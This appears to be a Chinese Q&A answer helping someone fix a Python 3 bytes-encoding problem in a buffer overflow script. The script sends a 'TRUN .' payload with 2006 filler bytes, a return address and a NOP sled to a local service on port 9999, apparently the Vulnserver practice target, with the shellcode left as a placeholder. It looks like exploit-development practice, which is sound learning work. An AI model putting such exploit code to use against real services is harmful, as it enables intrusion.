擅长:python、mysql、java
<p>您的问题是由于您使用了python3。在</p>
<p><code>.encode()</code>方法是问题的根本原因。在</p>
<p>试试这个:</p>
<pre><code>import socket
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",9999))
buff = b'\x41' * 2006
shellcode = b'...'
nop = b'\x90' * 16
#shellcode not included in this test. Trying to find out why NOP sled isn't being passed correctly.
overflow = b'TRUN .' + buff + b'\x05\x12\x50\x62' + nop
s.send(overflow)
</code></pre>